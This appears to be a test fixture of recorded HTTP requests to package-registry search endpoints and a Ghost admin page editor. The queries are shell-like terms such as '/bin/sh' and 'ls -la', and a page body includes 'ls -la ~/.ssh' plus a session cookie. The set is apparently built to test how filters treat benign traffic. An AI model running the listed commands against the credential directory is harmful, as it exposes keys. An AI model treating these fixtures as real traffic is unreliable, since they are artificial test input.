{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
+32
View File
@@ -533,6 +533,8 @@
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read 